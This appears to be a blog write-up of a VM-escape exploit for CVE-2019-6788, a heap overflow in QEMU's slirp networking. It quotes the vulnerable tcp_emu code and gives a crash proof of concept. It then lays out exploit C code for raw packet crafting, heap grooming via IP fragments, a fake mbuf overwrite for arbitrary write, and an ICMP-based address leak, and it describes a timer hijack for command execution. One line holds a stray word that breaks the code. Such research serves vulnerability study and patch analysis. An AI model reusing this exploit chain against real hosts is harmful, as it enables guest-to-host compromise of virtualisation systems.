reference:

https://ray-cp.github.io/archivers/qemu-pwn-cve-2019-6788%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

https://ama2in9.top/2021/01/02/cve-2019-6788/

The Poc

cve-2019-6788 is a heap overflow vulnerability in qemu, it occurs in tcp_emu(slirp/tcp_subr.c):

     case EMU_IDENT:
        /*
         * Identification protocol as per rfc-1413
         */

        {
            struct socket *tmpso;
            struct sockaddr_in addr;
            socklen_t addrlen = sizeof(struct sockaddr_in);
            struct sbuf *so_rcv = &so->so_rcv;

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
            so_rcv->sb_wptr += m->m_len;
            so_rcv->sb_rptr += m->m_len;
            m->m_data[m->m_len] = 0; /* NULL terminate */
            if (strchr(m->m_data, '\r') || strchr(m->m_data, '\n')) {
                if (sscanf(so_rcv->sb_data, "%u%*[ ,]%u", &n1, &n2) == 2) {
                    HTONS(n1);
                    HTONS(n2);
                    /* n2 is the one on our host */
                    for (tmpso = slirp->tcb.so_next;
                         tmpso != &slirp->tcb;
                         tmpso = tmpso->so_next) {
                        if (tmpso->so_laddr.s_addr == so->so_laddr.s_addr &&
                            tmpso->so_lport == n2 &&
                            tmpso->so_faddr.s_addr == so->so_faddr.s_addr &&
                            tmpso->so_fport == n1) {
                            if (getsockname(tmpso->s,
                                (struct sockaddr *)&addr, &addrlen) == 0)
                               n2 = ntohs(addr.sin_port);
                            break;
                        }
                    }
                }
                                so_rcv->sb_cc = snprintf(so_rcv->sb_data,
                                                         so_rcv->sb_datalen,
                                                         "%d,%d\r\n", n1, n2);
                so_rcv->sb_rptr = so_rcv->sb_data;
                so_rcv->sb_wptr = so_rcv->sb_data + so_rcv->sb_cc;
            }
            m_free(m);
            return 0;
        }

In EMU_IDENT,It copies data from network layer to transport layer, the (struct socket *)so_rcv->sb_wptr is buffer which store data from (struct mbuf* )m , the origin ptr for buffer is (struct socket *)so_rcv->sb_data. In gdb ,we can see it’s size is 0x2245:

If m->m_data not contains ‘\r’ or ‘\n’ , the so_rcv->sb_cc will not be update, but so_rcv->sb_wptr has been increased. Before call tcp_emu, tcp_input will check the buffer size :

else if (ti->ti_ack == tp->snd_una &&
            tcpfrag_list_empty(tp) &&
         // #define sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc)
            ti->ti_len <= sbspace(&so->so_rcv)) { 
            /*
             * this is a pure, in-sequence data packet
             * with nothing on the reassembly queue and
             * we have enough buffer space to take it.
             */
            tp->rcv_nxt += ti->ti_len;
            /*
             * Add data to socket buffer.
             */
            if (so->so_emu) {
                if (tcp_emu(so,m)) sbappend(so, m);
            } 

It calculate the remain size use sbspace, which subs the sb_datalen and sb_cc ( sb_datalen is 8760).But both value not be update in tcp_emu. So we can cause heap overflow by sending data which not contains ‘\r’ or ‘\n’ continuously:

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

exploits – part1 Malloc Primitive

In order to control heap object, we must find a way to clean free bins in ptmalloc. If there is no free bins in arena, ptmalloc will split top_chunk. In this way, the arrangement of the heap is controllable and predictable.

In IP’s flags, there is a flag called More fragments following flag(MF),if MF set to 1,represent that there will be packet in the next. In qemu’s slirp, it will be store in struct mbuf. For each new connection, if there is no free buffer in slirp’s free list(the slirp manage free mbuf use doubly linked list), the mbuf will be alloc in m_get function, it will call malloc(0x668).

struct mbuf *
m_get(Slirp *slirp)
{
    register struct mbuf *m;
    int flags = 0;

    DEBUG_CALL("m_get");

    if (slirp->m_freelist.qh_link == &slirp->m_freelist) {
                m = g_malloc(SLIRP_MSIZE);
        slirp->mbuf_alloced++;
        if (slirp->mbuf_alloced > MBUF_THRESH)
            flags = M_DOFREE;
        m->slirp = slirp;
    } else {
        m = (struct mbuf *) slirp->m_freelist.qh_link;
        remque(m);
    }

    /* Insert it in the used list */
    insque(m,&slirp->m_usedlist);
    m->m_flags = (flags | M_USEDLIST);

    /* Initialise it */
    m->m_size = SLIRP_MSIZE - offsetof(struct mbuf, m_dat);
    m->m_data = m->m_dat;
    m->m_len = 0;
        m->m_nextpkt = NULL;
        m->m_prevpkt = NULL;
        m->resolution_requested = false;
        m->expiration_date = (uint64_t)-1;
    DEBUG_ARG("m = %p", m);
    return m;
}

write a raw tcp packet

In order to set MF flag to 1,we must write tcp packet by ourselves. In addition to the original exp, I also referenced a lot of code:

https://gist.github.com/leonid-ed/909a883c114eb58ed49f

https://gist.github.com/sfantree/831ab83b751b6cf72e9e9a005f2d6e8b

https://github.com/rbaron/raw_tcp_socket/blob/master/raw_tcp_socket.c

Firstly, we must create a raw socket:

int s = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
int one = 1;
const int *val = &one;
// inform the kernel do not fill up the packet structure, we will build our own
setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one));

And bind it to interface:

#define DEVICE_NAME "enp0s3"
char interface[] =  DEVICE_NAME;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface);
if (setsockopt(s, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof(ifr)) < 0) 
{
    perror("setsockopt() failed to bind to interface ");
    exit(EXIT_FAILURE);
}

Next, we create ip header:

Notice: I use different packet header struct from origin exp,It’s defined in linux/ip.h,linux/tcp.h,linux/icmp.h

struct iphdr* creat_ip_header(u32 id,void* des)
{
    u32 src_addr = inet_addr("127.0.0.1");
    u32 dst_addr = inet_addr("127.0.0.1");
    struct iphdr * ip =(struct iphdr*)des;
    memset(ip,0,sizeof(struct iphdr));
    ip->ihl      = 5;
    ip->version  = 4;
    ip->tos      = 0;
    // ip->tot_len  = sizeof(struct iphdr);
    ip->id       = htons(id);
    ip->ttl      = 0xFF; // hops
    ip->protocol = IPPROTO_TCP;
    // source IP address, can use spoofed address here
    ip->saddr = src_addr;
    ip->daddr = dst_addr;
    return ip;
}

Then we set the MF flags to 1 and c the checksum:

unsigned short csum(unsigned short *buf, int nwords)
{
  unsigned long sum;
  for(sum=0; nwords>0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum &0xffff);
  sum += (sum >> 16);
  return (unsigned short)(~sum);
}

ip->frag_off = htons((0 << 15) + (0 << 14) + (1 << 13) + (0 >> 3)); // set More fragments following flag 
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + data_size);
ip->check = 0;
ip->check = csum(buf,20); // 20 is sizeof struct iphdr; if data is zero,it will not effect the checksum 

After the ip header created, we start to create tcp header:

struct tcphdr* create_tcp_header(void* des)
{
    struct tcphdr* tcpHdr = (struct tcphdr*)des;
    tcpHdr->source = htons(60); //16 bit in nbp format of source port
    tcpHdr->dest = htons(80); //16 bit in nbp format of destination port
    tcpHdr->seq = 0x0; //32 bit sequence number, initially set to zero
    tcpHdr->ack_seq = 0x0; //32 bit ack sequence number, depends whether ACK is set or not
    tcpHdr->doff = 5; //4 bits: 5 x 32-bit words on tcp header
    tcpHdr->res1 = 0; //4 bits: Not used
    tcpHdr->cwr = 0; //Congestion control mechanism
    tcpHdr->ece = 0; //Congestion control mechanism
    tcpHdr->urg = 0; //Urgent flag
    tcpHdr->ack = 1; //Acknownledge
    tcpHdr->psh = 1; //Push data immediately
    tcpHdr->rst = 0; //RST flag
    tcpHdr->syn = 0; //SYN flag
    tcpHdr->fin = 0; //Terminates the connection
    tcpHdr->window = htons(0xFFFF);//0xFFFF; //16 bit max number of databytes 
    tcpHdr->check = 0; //16 bit check sum. Can't calculate at this point
    tcpHdr->urg_ptr = 0; //16 bit indicate the urgent data. Only if URG flag is set
}

But tcp’s checksum is different, it contains some extra data, we can create a struct to calculate the checksum for tcp:

struct pseudoTCPPacket {
  uint32_t srcAddr;
  uint32_t dstAddr;
  uint8_t zero;
  uint8_t protocol;
  uint16_t TCP_len;
};
struct pseudoTCPPacket pTCPPacket;
pTCPPacket.srcAddr = src_addr; //32 bit format of source address
pTCPPacket.dstAddr = dst_addr; //32 bit format of source address
pTCPPacket.zero = 0; //8 bit always zero
pTCPPacket.protocol = IPPROTO_TCP; //8 bit TCP protocol
pTCPPacket.TCP_len = htons(sizeof(struct tcphdr) + data_size);
char *pseudo_packet = (char *) malloc((int) (sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)) + data_size);
memset(pseudo_packet, 0, sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)+ data_size);
// Copy pseudo header 
memcpy(pseudo_packet, (char *) &pTCPPacket, sizeof(struct pseudoTCPPacket));
// tcp is the struct from create_tcp_header
tcp->seq = htonl(initSeqGuess++);
tcp->check = 0;
// copy origin tcp header
memcpy(pseudo_packet + sizeof(struct pseudoTCPPacket), tcp, sizeof(struct tcphdr));
// start calculate
tcp->check = csum((unsigned short *) pseudo_packet, (int) (sizeof(struct pseudoTCPPacket) + sizeof(struct tcphdr)));

Finally, we can send packet to trigger malloc:

struct sockaddr_in addr_in;
memset(&addr_in,0,sizeof(struct sockaddr_in));
//Populate address struct
addr_in.sin_family = AF_INET;
addr_in.sin_addr.s_addr = src_addr;
if((bytes = sendto(s, buf, data_size, 0, (struct sockaddr *) &addr_in, sizeof(addr_in))) < 0) {perror("Error on sendto()");}

But if we want splay large packet,we must increase the mtu for the interface by ifconfig DEVICE_NAME mtu 9000 up

exploits – part2 Arbitrary Write and Leak

We also look at the logic of m_buf , if MF set to 0, slrip will combine the whole packet and send it, see ip_reass:

insert:
    /*
     * Stick new segment in its place;
     * check for complete reassembly.
     */
    ip_enq(iptofrag(ip), q->ipf_prev);
    next = 0;
    for (q = fp->frag_link.next; q != (struct ipasfrag*)&fp->frag_link;
            q = q->ipf_next) {
        if (q->ipf_off != next)
                        return NULL;
        next += q->ipf_len;
    }
    if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)
                return NULL;
    /*
     * Reassembly is complete; concatenate fragments.
     */
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *) q->ipf_next;
    while (q != (struct ipasfrag*)&fp->frag_link) {
      struct mbuf *t = dtom(slirp, q);
      q = (struct ipasfrag *) q->ipf_next;
      m_cat(m, t);
    }

m_cat function will call memcpy(m->m_data+m->m_len, t->m_data, t->m_len); to copy data to the first m_buf,so if we can overwrite m->m_data, we can do a arbitrary write. So Firstly, we will prepare two packet:

    void* icmp_buf1 = malloc(0x1000);
    memset(icmp_buf1,0,0x1000);
    struct iphdr* icmp_ip1 = creat_ip_header(1919810,icmp_buf1);
    icmp_ip1->protocol = IPPROTO_ICMP;
    icmp_ip1->frag_off = htons((0 << 15) + (0 << 14) + (1 << 13) + (0 >> 3)); // set More fragments following flag to 1
    icmp_ip1->tot_len = htons(0x300 + 20);
    icmp_ip1->check = csum(icmp_buf1,20);

    void* icmp_buf2 = malloc(0x1000);
    memset(icmp_buf2,0,0x1000);
    struct iphdr* icmp_ip2 = creat_ip_header(1919810,icmp_buf2);
    icmp_ip2->protocol = IPPROTO_ICMP;
    icmp_ip2->tot_len = htons(sizeof(struct iphdr) prepare+ buf_len);
    icmp_ip2->frag_off = htons((0 << 15) + (0 << 14) + (0 << 13) + ((0x300) >> 3)); // set offset
    icmp_ip2->check = csum(icmp_buf2,20);
    memcpy(icmp_buf2 + sizeof(struct iphdr),buf,buf_len);

Importantly, the second packet must has the right offset in frag_off , ip_reass will check it

Then create vulnerable object and first packet:

ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
if (ret == -1) 
{
     perror("connect failed");
     exit(1);
}
send_raw_packet(icmp_buf1,0x300 + 20,src_addr); // will send the first packet

Next we overflow it:

struct mbuf {
    // chunk size
    u64 prev_size;
    u64 size;
    /* XXX should union some of these! */
    /* header at beginning of each mbuf: */
    u64 *m_next; /* Linked list of mbufs */
    u64 *m_prev;
    u64 *m_nextpkt; /* Next packet in queue/record */
    u64 *m_prevpkt; /* Flags aren't used in the output queue */
    int m_flags;            /* Misc flags */
    int m_size;             /* Size of mbuf, from m_dat or m_ext */
    u64 *m_so;
}; 
for (int i = 0; i < 6; ++i)
{
    write(s, payload, 0x500);
    usleep(20000);
}
write(s, payload, 1072);
struct mbuf *fake_mbuf = payload;
memset(fake_mbuf,0,sizeof(struct mbuf));
fake_mbuf->size = 0x675;
fake_mbuf->m_size = 0x608;
memcpy(payload + sizeof(struct mbuf),(void*)addr,write_len); // fake mbuf, the addr is the write address
write(s, payload, sizeof(struct mbuf) + write_len); // overflow 

After we overwrite the first m_buf's m_data,we can do arbitrary write by sending second packet.

For leak, we can low bit write m_buf's m_data ,and use the icmp echo packet to send data we want to leak, and capture it to get leaked data. This part I copied from origin exp:

void recv_capture(int recvsd)
{
    int bytes, status;
    struct iphdr *recv_iphdr;
    struct icmphdr *recv_icmphdr;
    uint8_t *recv_ether_frame = malloc(0x1000);
    struct sockaddr from;
    socklen_t fromlen;
    struct timeval wait, t1, t2;
    struct timezone tz;
    double dt;

    puts("wait for icmp leak");
    (void)gettimeofday(&t1, &tz);
    wait.tv_sec = 2;
    wait.tv_usec = 0;
    setsockopt(recvsd, SOL_SOCKET, SO_RCVTIMEO, (char *)&wait,
               sizeof(struct timeval));
    #define ETH_HDRLEN 14
    recv_iphdr = (struct iphdr *)(recv_ether_frame + ETH_HDRLEN);
    recv_icmphdr = (struct icmphdr *)(recv_ether_frame + ETH_HDRLEN + sizeof(struct iphdr));
    int count = 0;
    while (1) 
    {
        memset(recv_ether_frame, 0, 0x1000 * sizeof(uint8_t));
        memset(&from, 0, sizeof(from));
        fromlen = sizeof(from);
        if ((bytes = recvfrom(recvsd, recv_ether_frame, 0x1000, 0,
            (struct sockaddr *)&from, &fromlen)) < 0) 
        {
            status = errno;
            if (status == EAGAIN) 
            {
                printf("No reply within %li seconds.\n", wait.tv_sec);
                exit(EXIT_FAILURE);
            } 
            else if (status == EINTR)  // EINTR = 4
            { 
                continue;
            } 
            else 
            {
                perror("recvfrom() failed ");
                exit(EXIT_FAILURE);
            }
        } // End of error handling conditionals.
        // hexdump("recv", recv_ether_frame, 0x50);
        printf("recv count %d\n", count++);
        if ((((recv_ether_frame[12] << 8) + recv_ether_frame[13]) ==
             ETH_P_IP) &&
            (recv_iphdr->protocol == IPPROTO_ICMP) &&
            (recv_icmphdr->type == ICMP_ECHOREPLY)) 
        {
            // Stop timer and calculate how long it took to get a reply.
            (void)gettimeofday(&t2, &tz);
            dt = (double)(t2.tv_sec - t1.tv_sec) * 1000.0 +
                 (double)(t2.tv_usec - t1.tv_usec) / 1000.0;
            printf("%g ms (%i bytes received)\n", dt, bytes);
            hexdump("ping recv", recv_ether_frame, bytes);
            if (bytes < 0x200)
                continue;
            text_base =
                ((*(uint64_t *)(recv_ether_frame + 0xa0)) - 0x31d000) & ~0xfff;
            heap_base = (*(uint64_t *)(recv_ether_frame + 0x90)) & ~0xffffff;
            printf("leak text_base: 0x%llx\n"
                       "leak heap_base: 0x%llx\n",
                       text_base, heap_base);
            // getchar();
            break;
        } // End if IP ethernet frame carrying ICMP_ECHOREPLY
    }
    free(recv_ether_frame);
}

But before we leak,we must prepare a fake icmp packet in heap, and overwrite the m_data to it. We also low bit write the m_data and do a “arbitrary write” to prepare data. This need a fake icmp header, it’s similar to ip header and tcp header:

struct icmphdr* create_icmp_header(void* des)
{
    struct icmphdr *icmp = des;
    icmp->type = ICMP_ECHO;
    icmp->code = 0;
    icmp->un.echo.id =  htons(1000);
    icmp->un.echo.sequence = 0;
    icmp->checksum = csum((void*)icmp,sizeof(struct icmphdr));
    return icmp;
}

exploits – part3 Hijacking control flow

The method to hijack the control flow is to use QemuTimer. In bss, there is a global variable main_loop_tlg of type QEMUTimerList, and its member active_timers is a variable of type QEMUTimer*. We can fake these two variables on the heap, overwrite the global variable of bss. And the command execution will be triggered when expire_time expires. This is a general exploit technique, I won’t go into details.

During my exploit development, I find it’s hard to do heap fengshui. Sometimes the success rate is very high,but sometimes I can’t succeed once a whole day. Is there a way to increased the success rate? or just my exploit has some bugs? I don’t know, and will keep trying.

Fix

It add a check before memcpy:

if (m->m_len > so_rcv->sb_datalen - (so_rcv->sb_wptr - so_rcv->sb_data)) {
return 1;
}
memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
so_rcv->sb_wptr += m->m_len;
so_rcv->sb_rptr += m->m_len;

But I think it better to update the check method in sbspace(sb) ((sb)->sb_datalen - (sb)->sb_cc) 🙁